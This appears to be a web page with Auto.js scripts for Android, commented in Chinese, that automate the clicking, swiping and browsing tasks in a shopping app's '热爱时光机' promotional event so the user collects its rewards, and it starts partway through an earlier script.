{ toast("\n即将开始工作\n中途需退出请按【音量+】终止"); for (var i = 0; i < 20; i++) { var shops = className("android.view.View").text("寻宝箱 领金币").findOne().parent().child(2).children(); shops[i].click(); rsleep(4); if (className("android.view.View").text("每日签到 (0/1)").findOne(100) && className("android.view.View").text("去完成").findOne(100)) { toast('达到每日上限，任务结束'); back(); break; } back(); } toast('工作完成,总计', i, '个店铺'); break; } else { toast('获取不到店铺列表，请手动划到活动页最下面'); } } //随机延时 function rsleep(s) { while (s--) { sleep(random(900, 1200)); } } 热爱时光机脚本 脚本 //遇到问题请在 https://chrxw.com 留言 //Ver 0.1 2020.11.1 //By Chr_(chr@chrxw.com) //========================= //功能配置 //========================= auto.waitFor(); //console.show(); // toast('\n脚本开始运行\n请切换到品牌狂欢城任务页'); className("android.view.View").text("热爱时光机").waitFor(); // toast("\n即将开始工作\n中途需退出请按【音量+】终止"); // sleep(2000); for (; ;) { if (!className("android.view.View").textStartsWith("邀请好友一起玩").exists()) { get_task_btn().click(); rsleep(2); } var flag = false; var objs = text("去完成").find(); for (var i = 0; i < objs.size(); i++) { if (objs[i] != null) { obj = objs[i].parent(); if (obj.children().size() == 2) { break; } } } var tasks = obj.parent().parent().children(); for (var i = 0; i < tasks.length; i++) { var txt = tasks[i].child(1).text(); var btn = tasks[i].child(3).child(0); if (txt.search("超级") != -1) { if (btn.text() == "去完成") { log(1, txt); btn.click(); rsleep(2); view2(); flag = true; } } else if (txt.search("大牌") != -1) { if (btn.text() == "去完成") { log(2, txt); btn.click(); rsleep(2); view3(); flag = true; } } else if (txt.search("精选") != -1) { if (btn.text() == "去完成") { log(3, txt); btn.click(); view(); flag = true; } // 有bug，暂时不能使用 // } else if (txt.search("同城") != -1) { // if (btn.text() == "去完成") { // log(3, txt); // btn.click(); // view(); // flag = true; // } } if (flag) { break; } } if (!flag) { toast("\n脚本运行完毕\n模拟浏览任务全部完成（大概）"); break; } } //模拟浏览（直接返回） function view() { rsleep(2); advback(); rsleep(2); } //模拟浏览（主页浏览任务1） function view2() { var task = className("android.view.View").textStartsWith("逛超级品牌立得100").findOnce(1); if (task) { var str = task.text(); var nums = str.match(/\d+/g); var curr = nums[1]; var max = nums[2]; while (curr < max) { toastLog('逛超级品牌任务', curr); className("android.view.View").textStartsWith("逛超级品牌立得100").findOnce(1).parent().child(2).child(0).child(1).click(); view(); curr++; } } } //模拟浏览（主页浏览任务2） function view3() { var task = className("android.view.View").textStartsWith("逛大牌品牌立得50").findOnce(1); if (task) { var str = task.text(); var nums = str.match(/\d+/g); var curr = nums[1]; var max = nums[2]; toastLog(nums) while (curr < max) { toastLog('逛大牌品牌任务' + curr); className("android.view.View").textStartsWith("逛大牌品牌立得50").findOnce(1).parent().child(1).child(1).click(); view(); curr++; } } } //随机延时 function rsleep(s) { while (s--) { sleep(random(900, 1200)); } } //模拟返回 function advback() { for (var i = 0; i < 3; i++) { if (!className("android.widget.ImageView").desc("返回").exists()) { rslideR(1); rsleep(2); continue; } className("android.widget.ImageView").desc("返回").click(); rsleep(5); if (className("android.view.View").text("热爱时光机").exists()) { return; } } log("定位不到返回按钮，模拟返回键"); back(); } //随机划屏 function rslide(i) { while (i--) { var x1 = random(200, 900); var y1 = random(1200, 1900); var x2 = random(200, 900); var y2 = random(1000, 1200); swipe(x1, y1, x2, y2, 300); rsleep(1); } } //随机划屏，反向 function rslideR(i) { while (i--) { var x1 = random(200, 900); var y1 = random(900, 1300); var x2 = random(200, 900); var y2 = random(1500, 1900); swipe(x1, y1, x2, y2, 300); rsleep(1); } } //高级点击 function advclick(uiobject) { var rect = uiobject.bounds(); // var x = random(rect.left, rect.right); // var y = random(rect.top, rect.bottom); click(rect.centerX(), rect.centerY()); } //获取任务按钮 function get_task_btn() { var tips = className("android.view.View").textMatches("剩余\\d+能量").findOnce(); var btn = tips.parent().parent().child(4); return (btn); } 说明 此为第一版，可能存在bug，如有遇到请在此反馈。